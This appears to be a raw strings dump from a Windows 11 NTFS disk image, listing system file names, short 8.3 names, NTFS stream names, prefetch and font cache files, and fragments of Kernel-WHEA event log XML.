refsutil.exe refsutil.exe WofCompressedData $DSC svchost.exe0 svchost.exe WofCompressedData $DSC svchost.exe $DSC $DSC svchost.exe0 svchost.exe WofCompressedData $DSC svchost.exe $DSC $DSC wbengine.exe wbengine.exe WofCompressedData $DSC wbengine.exe $DSC $DSC WerFault.exe WerFault.exe WofCompressedData $DSC WerFault.exe WerFault.exe WofCompressedData $DSC WERFAU~1.EXE WerFaultSecure.exe WerFaultSecure.exe WofCompressedData $DSC WERFAU~1.EXE WerFaultSecure.exe $DSC $DSC wermgr.exe $DSC $DSC wermgr.exe $DSC $DSC OneCoreCommonProxyStub.dll OneCoreCommonProxyStub.dll WofCompressedData $DSC OneCoreCommonProxyStub.dll OneCoreCommonProxyStub.dll WofCompressedData $DSC plutonfw_AuthenticAMD.dll plutonfw_AuthenticAMD.dll WofCompressedData $DSC plutonfw_GenuineIntel.dll plutonfw_GenuineIntel.dll WofCompressedData $DSC WmiApSrv.exe $DSC WMIC.exe $DSC $DSC WMIC.exe WofCompressedData $DSC $TXF_DATA $TXF_DATA WmiPrvSE.exe WmiPrvSE.exe WofCompressedData $DSC $DSC comctl32.dll WofCompressedData $DSC comctl32.dll comctl32.dll WofCompressedData $DSC $DSC comctl32.dll $DSC $DSC comctl32.dll WofCompressedData $DSC CONTAI~1.DLL containerdevicemanagement.dll $DSC $DSC WofCompressedData $DSC CONTEN~1.DLL $DSC CONTEN~1.DLL ContentDeliveryManager.Background.dll WofCompressedData $DSC WofCompressedData $DSC CONTEN~1.DLL ApplicationLogMessages.dll APPLIC~1.DLL ApplicationLogMessages.dll WofCompressedData $DSC CoreMas.dll $DSC CoreMas.dll0 CoreMas.dll WofCompressedData $DSC WofCompressedData $DSC COREME~1.DLL CoreMessaging.dll $DSC FVEVOL~1.MUI fvevol.sys.mui fvevol.sys.mui WofCompressedData $DSC WofCompressedData $DSC fwpuclnt.dll.mui WofCompressedData $DSC gpapi.dll.mui gpapi.dll.mui GPAPID~1.MUI gpapi.dll.mui gpapi.dll.mui $DSC GPAPID~1.MUI gpapi.dll.mui gpapi.dll.mui $DSC hostname.exe.mui HOSTNA~1.MUI hostname.exe.mui $DSC http.sys.mui http.sys.mui HTTPSY~1.MUI WofCompressedData $DSC http.sys.mui HTTPSY~1.MUI $DSC httpapi.dll.mui0 HTTPAP~1.MUI httpapi.dll.mui $DSC WofCompressedData $DSC IMAPI2~1.MUI imapi2fs.dll.mui WofCompressedData $DSC InfDefaultInstall.exe.mui INFDEF~1.MUI InfDefaultInstall.exe.mui $DSC input.dll.mui INPUTD~1.MUI input.dll.mui WofCompressedData $DSC ipconfig.exe.mui IPCONF~1.MUI ipconfig.exe.mui WofCompressedData $DSC KERBER~1.MUI kerberos.dll.mui 15911591 $DSC kerberos.dll.mui KERBER~1.MUI kerberos.dll.mui WofCompressedData $DSC KERNEL~1.MUI kernel32.dll.mui $DSC $DSC kernel32.dll.mui KERNEL~1.MUI kernel32.dll.mui WofCompressedData $DSC KERNEL~1.MUI KernelBase.dll.mui KernelBase.dll.mui WofCompressedData $DSC KERNEL~1.MUI KernelBase.dll.mui $DSC $DSC AM3383~1.MUI amd64_microsoft-windows-keyiso.resources_31bf3856ad364e35_10.0.26100.1_en-us_077ea9a1dc9d4da4_keyiso.dll.mui_4bbf12ff $DSC KEYISO~1.MUI keyiso.dll.mui keyiso.dll.mui $DSC logoncli.dll.mui LOGONC~1.MUI logoncli.dll.mui WofCompressedData $DSC LOGONC~1.MUI logoncli.dll.mui $DSC LogonController.dll.mui0 LOGONC~1.MUI LogonController.dll.mui WofCompressedData $DSC lsasrv.dll.mui LSASRV~1.MUI lsasrv.dll.mui WofCompressedData $DSC LSASRV~1.MUI lsasrv.dll.mui $DSC lsm.dll.mui0 lsm.dll.mui0 LSMDLL~1.MUI WofCompressedData $DSC lsm.dll.mui0 LSMDLL~1.MUI $DSC MANAGE~1.MUI manage-bde.exe.mui $DSC MICROS~1.MUI microsoft-windows-system-events.dll.mui $DSC 'microsoft-windows-system-events.dll.mui0 MICROS~1.MUI microsoft-windows-system-events.dll.mui WofCompressedData $DSC WofCompressedData $DSC mimofcodec.dll.mui WofCompressedData $DSC mispace.dll.mui0 MISPAC~1.MUI mispace.dll.mui WofCompressedData $DSC Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational EventData Data Type Owner Flags Length RawData Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational ErrorSourceCount ErrorRecordFormat ErrorSourceTableLength ErrorSourceTable Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational 5http://schemas.microsoft.com/win/2004/08/events/event DESKTOP-8GBP982 Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer Windows11 Security UserID Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational EventData Data ErrorSourceCount ErrorRecordFormat ErrorSourceTableLength ErrorSourceTable Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational Type Owner Flags Length RawData Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational Microsoft-Windows-Kernel-WHEA Microsoft-Windows-Kernel-WHEA/Operational REGID1~1.SWI regid.1991-06.com.microsoft_Windows-10-Pro.swidtag OPTIMI~1 optimization_guide_hint_cache_store $I300 LOCK LOG.old .TMP LOGOLD~1.TMP LOGOLD~1.TMP RUNTIM~2.PF0 RUNTIMEBROKER.EXE-2C5A250C.pf notification_helper.exe.manifest )passkey_authenticator_plugin.exe.manifest SEC9E6~1.PF0 SETUP.EXE-CA3E74CE.pf MIC29E~1.PF0 MICROSOFTEDGE_X64_145.0.3800.-8694862C.pf RETAIL~1 RetailDemo $I300 CleanupOfflineContent CLEANU~1 CLEANU~1 CleanupOfflineContent SMSSEX~1.PF0 SMSS.EXE-B5B810DB.pf LOGONU~1.PF0 LOGONUI.EXE-F639BD7E.pf 5648_1~1.PMA 5648_13416076882142000_5648.pma SE84FD~1.PF0 SETUP.EXE-84DB82F8.pf 14f90d18.BUD $I300 NTUSER.DAT{ca419014-0ec0-11f1-b1f8-000c29f29c8b}.TM.blf $I30 $I30 $TXF_DATA SAVEDG~1 Videos ENCAPS~1 encapsulation $I300 jscript9Legacy.dll WofCompressedData $DSC SVCHOS~4.PF0 SVCHOST.EXE-CD72A0A7.pf SV0DBA~1.PF0 SVCHOST.EXE-A4B742B7.pf ACTIVA~1.DAT ActivationStore.dat ACTIVA~1.LOG ActivationStore.dat.LOG1 PERFST~1.INI PerfStringBackup.INI perfc009.dat Spelling $I300 $DSC $I300 container.dat CONTAI~1.DAT INETCO~1 INetCookies $I300 S-1-5-~1.PCK S-1-5-21-3914889805-4071901059-918772286-1001.pckgdep EVENTL~1.MAN EventLog-Instrumentation.man WofCompressedData smartscreenps.dll WofCompressedData $DSC smartscreen.exe WofCompressedData $DSC SDBINS~1.PF0 SDBINST.EXE-49E8B208.pf BA00B5~1.PF0 BACKGROUNDTRANSFERHOST.EXE-7797177F.pf smartscreen.dll WofCompressedData $DSC LPREMO~1.PF0 LPREMOVE.EXE-570BDFF7.pf DL4BC1~1.PF0 DLLHOST.EXE-742E0212.pf LASTAL~1.DAT lastalive0.dat CLOUDE~1.004 CloudExperienceHostOobe.etl.004 CLOUDE~1.005 CloudExperienceHostOobe.etl.005 TASKHO~1.PF0 TASKHOSTW.EXE-2E5D4B75.pf MpCmdRun.log SERVIC~1.JSO ServicingSettings.json FEATUR~3.JSO FeatureTuning.json GS.json0 GS66D1~1.JSO FEEDSC~1 Feeds Cache $I300 IDSPCA.json0 IDSPCA~1.JSO INETHI~1 INetHistory $I300 SV8E27~1.PF0 SVCHOST.EXE-7AAD9645.pf DIAGNO~4.ETL DiagnosticLogCSP_Collector_Autopilot_2026_2_20_8_8_25.etl TELEME~1.BK0 telemetry.ASM-WindowsDefault.json.bk ABOVEL~1.DLL AboveLockAppHost.dll $DSC $DSC WofCompressedData $DSC Accessibility.dll Accessibility.dll ACCESS~1.DLL Accessibility.dll WofCompressedData $DSC hyph-lt.hyb ADVANC~1.DLL AdvancedEmojiDS.dll $DSC ADVANC~1.DLL AdvancedEmojiDS.dll0 AdvancedEmojiDS.dll WofCompressedData $DSC advapi32.dll $DSC $DSC advapi32.dll advapi32.dll WofCompressedData $DSC $DSC WofCompressedData $DSC AMMONI~1.DLL $DSC AMMONI~1.DLL AMMonitoringProvider.dll $DSC $DSC amsi.dll $DSC amsi.dll amsi.dll WofCompressedData $DSC amsi.dll $DSC $DSC amsi.dll amsi.dll WofCompressedData $DSC $DSC amsi.dll WofCompressedData $DSC AMSIPR~1.DLL amsiproxy.dll amsiproxy.dll WofCompressedData $DSC $DSC winnsi.dll winnsi.dll WofCompressedData $DSC $DSC winnsi.dll $DSC $DSC WinSCard.dll WinSCard.dll WofCompressedData $DSC $DSC winsku.dll winsku.dll WofCompressedData $DSC winsta.dll winsta.dll WofCompressedData $DSC winsta.dll winsta.dll WofCompressedData $DSC $DSC kd_02_1414.dll kd_02_1414.dll WofCompressedData $DSC winsta.dll $DSC $DSC wintrust.dll wintrust.dll WofCompressedData $DSC $DSC wintrust.dll $DSC $DSC kd_02_15b3.dll kd_02_15b3.dll WofCompressedData $DSC WinTypes.dll WinTypes.dll WofCompressedData $DSC $DSC WinTypes.dll WofCompressedData $DSC kd_02_1969.dll kd_02_1969.dll WofCompressedData $DSC WinTypes.dll WofCompressedData $DSC WinTypes.dll WinTypes.dll WofCompressedData $DSC $DSC kd_02_19a2.dll kd_02_19a2.dll WofCompressedData $DSC wkscli.dll wkscli.dll WofCompressedData $DSC wkscli.dll wkscli.dll WofCompressedData $DSC $DSC kd_02_1af4.dll kd_02_1af4.dll WofCompressedData $DSC Wldap32.dll0 Wldap32.dll WofCompressedData $DSC Wldap32.dll WofCompressedData $DSC kd_0C_8086.dll kd_0C_8086.dll WofCompressedData $DSC Wldap32.dll0 Wldap32.dll WofCompressedData $DSC $DSC Wldap32.dll WofCompressedData $DSC wldp.dll wldp.dll WofCompressedData $DSC wldp.dll wldp.dll WofCompressedData $DSC $DSC wldp.dll $DSC $DSC wmi.dll0 wmi.dll WofCompressedData $DSC wmi.dll0 wmi.dll WofCompressedData $DSC wmi2xml.dll $DSC wmi2xml.dll0 wmi2xml.dll WofCompressedData $DSC wmiclnt.dll0 wmiclnt.dll WofCompressedData $DSC $DSC wmiclnt.dll0 wmiclnt.dll WofCompressedData $DSC wmiclnt.dll $DSC WMICMI~1.DLL wmicmiplugin.dll WofCompressedData $DSC WMIsvc.dll $DSC $DSC wmitomi.dll $DSC wmitomi.dll0 wmitomi.dll WofCompressedData $DSC wmiutils.dll wmiutils.dll WofCompressedData $DSC $DSC ws2_32.dll ws2_32.dll WofCompressedData $DSC $DSC ws2_32.dll WofCompressedData $DSC WS2_HE~1.DLL ws2_helper.dll WofCompressedData $DSC WS2_HE~1.DLL ws2_helper.dll WofCompressedData $DSC wtsapi32.dll wtsapi32.dll WofCompressedData $DSC $DSC wtsapi32.dll WofCompressedData $DSC XAUDIO~1.DLL XAudio2_8.dll XAudio2_8.dll WofCompressedData $DSC microsoft-windows-battery-events.dll $microsoft-windows-battery-events.dll WofCompressedData $DSC microsoft-windows-sleepstudy-events.dll0 'microsoft-windows-sleepstudy-events.dll WofCompressedData $DSC microsoft-windows-storage-tiering-events.dll ,microsoft-windows-storage-tiering-events.dll WofCompressedData $DSC MICROS~1.DLL microsoft-windows-system-events.dll WofCompressedData $DSC MICROS~1.DLL Microsoft.Ink.Intelligence.TextInput.Implementation.dll WofCompressedData $DSC XAUDIO~1.DLL XAudio2_9.dll $DSC $DSC xmllite.dll $DSC $DSC xmllite.dll0 xmllite.dll WofCompressedData $DSC wdmaud.drv $DSC $DSC winload.efi $DSC winload.efi0 winload.efi0 winload.efi $DSC AGGREG~1.EXE AggregatorHost.exe $DSC $DSC WofCompressedData $DSC AGGREG~1.EXE AggregatorHost.exe $DSC chkdsk.exe $DSC chkntfs.exe0 chkntfs.exe WofCompressedData $DSC cmd.exe $DSC $DSC cmd.exe0 cmd.exe WofCompressedData $DSC conhost.exe0 conhost.exe WofCompressedData $DSC CONTAI~1.EXE containerworker.exe WofCompressedData $DSC CONTAI~1.EXE containerworker.exe WofCompressedData $DSC CONTAI~1.EXE containerworker.exe WofCompressedData $DSC FOF90E~1.DATntS FontCache-FontSet-S-1-5-18.dat FontCache-FontSet-S-1-5-21-3914889805-4071901059-918772286-1000.dat FontCache-FontSet-S-1-5-21-3914889805-4071901059-918772286-1001.dat FontCache-S-1-5-21-3914889805-4071901059-918772286-1000.dat FontCache-System.datZ FONTCA~1.DATp FONTCA~2.DATp FONTCA~3.DATp FONTCA~4.DATp Fonts ~FontCache-FontFace.dat ~FontCache-S-1-5-18.dat ~FontCache-S-1-5-21-3914889805-4071901059-918772286-1001.datTC~ ~FONTC~1.DATs ~FONTC~2.DAT ~FONTC~3.DAT 4.DATp Fonts Fonts ~FONTC~4.DAT backgroundTaskHost.exe BackgroundTransferHost.exe BamSettingsClient.dll BarcodeProvisioningPlugin.dll basecsp.dll basesrv.dll batmeter.dllX bcastdvr.proxy.dll BcastDVRBroker.dll BcastDVRClient.dll BcastDVRCommon.dll bcastdvruserservice.dll bcd.dll bcdboot.exe bcdedit.exe bcdprov.dll bcdsrv.dll BCP47Langs.dll BCP47mrm.dllL bcrypt.dll bcryptprimitives.dll bdaplgin.ax bdechangepin.exe BdeHdCfg.exedll BdeHdCfgLib.dll bderepair.dll bdesvc.dll BdeSysprep.dll bdeui.dll BdeUISrv.exe bdeunlock.exe BluetoothApis.dll BluetoothDesktopHandlers.dll BluetoothOppPushClient.dll 2BluetoothPairingSystemToastIcon.contrast-black.png 1BluetoothPairingSystemToastIcon.contrast-high.pngg 2BluetoothPairingSystemToastIcon.contrast-white.png #BluetoothPairingSystemToastIcon.png +BluetoothSystemToastIcon.contrast-white.png BluetoothSystemToastIcon.png bn-IN bnmanager.dll Boot boot.sditab BootCriticalUpdatePlugin.dll bootim.exe. BootMenuUX.dll bootsect.exe bootstr.dll bootsvc.dll bootux.dllb BOOTVID.DLL bopomofo.ucees braille-tables BRAILL~1 Latn-BA BTAGService.dll BthAvctpSvc.dll BthAvrcp.dll BthAvrcpAppSvc.dll bthci.dll BthMtpContextHandler.dll bthpanapi.dll BthpanContextHandler.dll !CapabilityAccessManagerClient.dll capauthz.dll capiprovider.dllP capisp.dll CaptureService.dll CastingShellExt.dll CastLaunch.dll CastSrv.exe CatRoot catroot2 catsrv.dll catsrvps.dllV catsrvut.dllV CBDHSvc.dll cca.dll cdd.dll cdosys.dllS cdp.dll cdprt.dlllS cdpusersvc.dll !cellulardatacapabilityhandler.dll cemapi.dllS certca.dllS certcli.dll cfgmgr32.dll cfmifs.dllS cfmifsproxy.dll Chakra.dllS Chakradiag.dll Chakrathunk.dll chcp.com-US chkdsk.exeS chkntfs.exe chr-CHER-US chs_singlechar_pinyin.dat ci.dllt &CredentialEnrollmentManagerForUser.dll cryptext.dllL csrr.rs C_10004.NLS C_1146.NLSL6 C_20105.NLS7 C_20866.NLS8 c_28603.nls9 C_869.NLSDL: d3d11.dll davhlpr.dllO DDOIProxy.dll deskadp.dllP DeviceDisplayStatusManager.dll DeviceSetupStatusProvider.dll dhcpcore6.dll DiskSnapshot.conf dmcsps.dll dmsynth.dllT DynamicMedium.bin easconsent.dll el-GR EnterpriseAppMgmtClient.dll esent.dll ExplorerFrame.dll FdDevQuery.dll fi-FI fltLib.dll fveui.dll HealthAttestationClient ifsutil.dll ja-jp KBDADLM.DLL KBDBUG.DLL "CloudExperienceHostRedirection.dll CloudExperienceHostUser.dll cloudidsvc.dlln CloudIdWxhExtension.dll CloudNotifications.exeo CloudRecoveryDownloadTool.dll CloudRestoreLauncher.dll clrhost.dll clusapi.dll cmcfg32.dll cmcleanup.dll cmd.exe cmdext.dlli cmdial32.dll cmdkey.exed cmdl32.exed cmgrcspps.dll cmifw.dllri cmintegrator.dllcon cmlua.dllon cmmon32.exe cmpbk32.dll cmstp.exedl cmstplua.dll cmutil.dll cngcredui.dll cngprovider.dll dmusic.dll dmutil.dll dmvdsitf.dll dmview.ocxv dmwappushsvc.dll` dmwmicsp.dll dmxmlhelputils.dll dnsapi.dll dnscacheugc.exe DnsClientCSP.dll dnscmmc.dll dnsext.dlll dnsrslvr.dll Docking.VirtualInput.dll DockInterface.ProxyStub.dll doclient.dll docprop.dll DocumentPerformanceEvents.dll t.dll domgmt.dll domiprov.dll dosettings.dll doskey.exe dosvc.dll dot3api.dll dot3cfg.dll dot3gpclnt.dll dot3gpui.dll dot3msm.dll downlevel dpapi.dll dpapimig.exeX dpapisrv.dllX dpx.dll driverquery.exe drivers DriverState ExSMime.dll extrac32.exeser ExtrasXmlParser.dll f3ahvoas.dllL fa-IR facecredentialprovider.dll Facilitator.dll Family.Authentication.dll Family.Cache.dll Family.Client.dll Family.SyncEngine.dll FamilySafetyExt.dll Faultrep.dllN FaxPrinterInstaller.dll fc.exel fclip.exe fcon.dll fdBth.dlldl fdBthProxy.dll fdPHost.dll fdPnp.dlldl fdprint.dll fdProxy.dll FDResPub.dllN fdSSDP.dlll fdWCN.dlldl fdWNet.dlll fdWSD.dlldl feclient.dllN ffbroker.dll fhcat.dll fhcfg.dll fhcleanup.dll fhcpl.dll fhengine.dll fltMC.exe.d fltmgrres.dll FluencyDS.dll fmapi.dllm fmifs.dllm fms.dll FNTCACHE.DATexe FntCache.dllexe fodhelper.exexe Fondue.exet fontdrvhost.exe fontext.dll FontGlyphAnimator.dll fontgroupsoverride.dll FontProvider.dllV fontsub.dll fontview.exe forfiles.exe format.com fpb.rsl fphc.dll fr-CA fr-FR framedyn.dllL FrameServerMonitorClient.dll frprov.dll FsNVSDeviceSource.dll fstx.dll fsutil.exed fsutilext.dll fthsvc.dll ftp.exe fundisc.dll fveapi.dll fveapibase.dll fvecerts.dllL fvecpl.dll FrameServer.dll FrameServerClient.dll FrameServerCore.dll FrameServerMonitor.dll FrameServerMonitorClient.dll frprov.dll fsavailux.exeur FsIso.exece fsmgmt.msce FsNVSDeviceSource.dll fsquirt.exe fstx.dll fsutil.exed fsutilext.dll fthsvc.dll ftp.exe fundisc.dll fveapi.dll fveapibase.dll fvecerts.dllL fvecpl.dll fvenotify.exedl fveprompt.exedl fveskybackup.dll DriverStoreV dsreg.dll dwmghost.dll DynamicMedium.bin easconsent.dll EditionUpgradeManagerObj.dll el-GR EnterpriseAppMgmtClient.dll esent.dll ExplorerFrame.dll FdDevQuery.dll fi-FI fltLib.dll framedynos.dll fveui.dll gdi32full.dll GraphicsPerfSvc.dllb HealthAttestationClientc hpatchmonTask.cmd ias.dlld icsigd.dll ifsutil.dllf inetmib1.dllX InputViewExperience.dllg IppCommonProxy.dll ja-jp KBDADLM.DLL KBDBUG.DLL coreaudiopolicymanagerext.dll DolbyDecMFT_redirect.dll KBDFC.DLL )microsoft-windows-kernel-power-events.dll nn-NO ResetEngine.exe> srrstr.dll VideoHandlers.dll .Windows.Internal.UI.Shell.WindowTabManager.dll hr-HR HrtfApo.dll HrtfDspCpu.dll hspapi.dlll html.iecdll httpapi.dll httpprxc.dllZ httpprxm.dllZ httpprxp.dllZ HttpsDataSource.dll htui.dll hu-HU hvax64.exed hvhostsvc.dll hvix64.exel hvloader.dllH hvsievaluator.exe.d HvsiManagementApi.dll HvSocket.dllH hwreqchk.dllH hy-AM IA2ComProxy.dll IasMigPlugin.dllX iasnap.dlll iaspolcy.dll iasrad.dlll icacls.exel icfupgd.dll icmp.dll icsxml icu.dll icuin.dll icuuc.dll id-ID iertutil.dll ifmon.dllac inseng.dllx installmon.dll InstallService.dll InstallServiceTasks.dll &IntegratedServicesRegionPolicySet.json internetmail.dllZ InternetMailCsp.dll intl.cpl.ex invagent.dllL InventorySvc.dll iologmsg.dllL "IoTAssignedAccessLockFramework.dll iotstartup.exe ipconfig.exeL IPHLPAPI.DLLL iphlpsvc.dllZ IpmiTM~ ipnathlp.dllL IpNatHlpClient.dll IppCommon.dll p.dllL IPSECSVC.DLLL ipsmsnap.dll ipxlatcfg.dll iri.dll irprops.cpl is-IS iscsicpl.dllL iscsidsc.dllL iscsied.dll iscsiexe.dllL iscsilog.dllL iscsium.dll iscsiwmi.dll iscsiwmiv2.dll it-IT iprtprio.dllL iprtrmgr.dllL ipsecsnp.dllL IPSECSVC.DLLL ipsmsnap.dll ipxlatcfg.dll iri.dll irprops.cpl is-IS iscsicli.exeL iscsicpl.dllL iscsicpl.exeL iscsidsc.dllL iscsied.dll iscsiexe.dllL iscsilog.dllL iscsium.dll iscsiwmi.dll iscsiwmiv2.dll ISM.dll ISM.exe isoburn.exe it-IT itircl.dll itss.dll iuilp.dll iumbase.dll iumcrypt.dll iumdll.dll IumSdk.dll iyuv_32.dll MemoryDiagnostic.dll MessagingDataModel2.dll MessagingService.dll mf.dll. mf3216.dll MF3F49~1.DLL MF5D55~1.DLL MF6461~1.DLL MF9310~1.DLL mfAACEnc.dll mfasfsrcsnk.dll mfaudiocnv.dll MFBB77~1.DLL mfc140.dll mfc140chs.dll mfc140cht.dll mfc140deu.dll mfc140enu.dll mfc140esn.dll mfc140jpn.dll mfc140kor.dll MFC140~1.DLL MFC140~2.DLL MFC140~3.DLL MFC140~4.DLL MFC411~1.DLL mfc42.dll mfc42u.dll MFCaptureEngine.dll mfcore.dll mfcsubs.dll mfds.dll MFDshowReverseBridge.dll mfdvdec.dll mferror.dll ents.dll MrmCoreR.dllX MrmDeploy.dll MrmIndexer.dll MRT.exe mrt100.dll mrt_map.dll ms-MY ms3dthumbnailprovider.dll msaatext.dll msacm32.dll msacm32.drv msadp32.acm msafd.dll MSAlacDecoder.dll MSAlacEncoder.dll MSAMRNBDecoder.dll MSAMRNBEncoder.dll MSAMRNBSink.dll MSAMRNBSource.dll MSAudDecMFT.dll msaudite.dll msauserext.dll mscandui.dll mscat32.dll msclmd.dll mscms.dll mscoree.dll mscorier.dll mscories.dll msctf.dll MsCtfMonitor.dllT msctfp.dlll msctfui.dll msdelta.dll msdmo.dll MSDRM msvcirt.dll msvcp110_win.dll msvcp120_clr0400.dll msvcp140.dll040 msvcp140_1.dll0 msvcp140_2.dll0 msvcp140_atomic_wait.dll msvcp140_clr0400.dll msvcp140_codecvt_ids.dll MSVCP1~1.DLL MSVCP1~2.DLL MSVCP1~3.DLL MSVCP1~4.DLL msvcp60.dll msvcp_win.dll msvcr100_clr0400.dll msvcr120_clr0400.dll msvcrt.dll msvfw32.dll msvidc32.dll MSVidCtl.dll MSVideoDSP.dll MSVP9DEC.dll msvproc.dll MSVPXENC.dll MSWB7.dllll MTFAppServiceDS.dll MtfDecoder.dll mtxdm.dll muifontsetup.dllL MuiUnattend.exe Narrator.exe NarratorControlTemplates.xml NarratorControlTemplates.xsd.da mskeyprotcli.dll mskeyprotect.dll msls31.dll msmpeg2adec.dll MSMPEG2ENC.DLL msmpeg2vdec.dll MSNP.ax msobjs.dll msoert2.dll MSOpusDecoder.dll mspatcha.dllH mspatchc.dllH MSPhotography.dll msports.dll msprivs.dll msra.exelll msrahc.dlll MsraLegacy.tlb msrating.dllH MsRdpWebAccess.dll msrle32.dll msscntrs.dllH mssign32.dllH mssip32.dll mssitlb.dll MsSpellCheckingFacility.dll MsSpellCheckingHost.exe mssph.dll mssprxy.dll mssrch.dll mssvp.dll mstask.dll msTextPrediction.dll mstsc.exell mstscax.dll msutb.dll mswsock.dll msxml3.dll msxml3r.dll msxml6.dll msxml6r.dll msyuv.dll mt-MT MtcModel.dll MTF.dll MTFAppServiceDS.dll MtfDecoder.dll MTFFuzzyDS.dll MTFServer.dll MTFSpellcheckDS.dll mtstocom.exe mtxclu.dll mtxdm.dll mtxex.dll mtxoci.dll muifontsetup.dllL MUILanguageCleanup.dll MuiUnattend.exe MultiDigiMon.exeler MusAppUpdateHandlers.dll museuxdocked.dll MusUpdateHandlers.dll MusUpdateHandlers1.dll mycomput.dll mydocs.dllx NAPCRYPT.DLL NapiNSP.dll Narrator.exe NarratorControlTemplates.xml NarratorControlTemplates.xsd.da Microsoft.Bluetooth.Proxy.dll Microsoft.Uev.CabUtil.dll.Cp MicrosoftAccountCloudAP.dll midimap.dllq ml-IN mountvol.exeV MRINFO.EXE !MSAProfileNotificationHandler.dll MsDtc mshtml.dlll MsixDataSourceExtensionPS.dll msrdc.dlldlx msv1_0.dll mswmdm.dlllv mtxoci.dll NarratorMCAT ncsi.dllL netlogon.dll !NetworkBindingEngineMigPlugin.dll NgcCtnr.dll{ NgcCtnrGidsHandler.dll NgcCtnrSvc.dll NgcIso.exe. NgcIsoCtnr.dll ngckeyenum.dll ngcksp.dlll ngclocal.dllL ngcpopkeysrv.dllL NgcProCsp.dll ngcrecovery.dll ngcsvc.dll ngctasks.dll ngcutils.dll ninput.dll nl-NLR~ nlaapi.dll nlansp_c.dllH nlhtml.dlll nlmgp.dlldl nlmproxy.dllH nlmsprep.dllH nlsbres.dll NlsData0000.dll NlsData0009.dll Nlsdl.dll NlsLexicons0009.dll nltest.exed NmaDirect.dll oleaut32.dllP oledlg.dllm oleprn.dllm OmaDmAgent.dllr omadmapi.dllnPr omadmclient.exe omadmprc.exeerC OnDemandBrokerClient.dllll OnDemandConnRouteHelper.dll OneBackupHandler.dllub. OneCoreCommonProxyStub.dll OneCoreUAPCommonProxyStub.dll OneDrive.icop.e OneDriveSetup.exe.d OneSettingsClient.dll onex.dll onexui.dll onnxruntime.dll oobe OOBEFodSetup.exe OobeShellHost.exe OobeWv2Host.dll OpcServices.dll OskSupport.dll osuninst.dllH OutdoorAudioEnvironment.bin p9np.dll p9rdrservice.dll pa-IN pacjsworker.exe packager.dll PackageStateChangeHandler.dll PATHPING.EXE pcrpf.dllnS FirewallControlPanel.dll FIREWA~1.DLL FirewallControlPanel.dll WofCompressedData $DSC FIREWA~1.DLL FirewallControlPanel.dll $DSC $DSC FIREWA~1.DLL FirewallUX.dll FirewallUX.dll WofCompressedData $DSC FIREWA~1.DLL FirewallUX.dll WofCompressedData $DSC FWPUCLNT.DLL FWPUCLNT.DLL WofCompressedData $DSC $DSC FWREMO~1.DLL FwRemoteSvr.dll WofCompressedData $DSC FXSAPI.DLL FXSAPI.DLL WofCompressedData $DSC FXSAPI.DLL $DSC $DSC gdi32.dll WofCompressedData 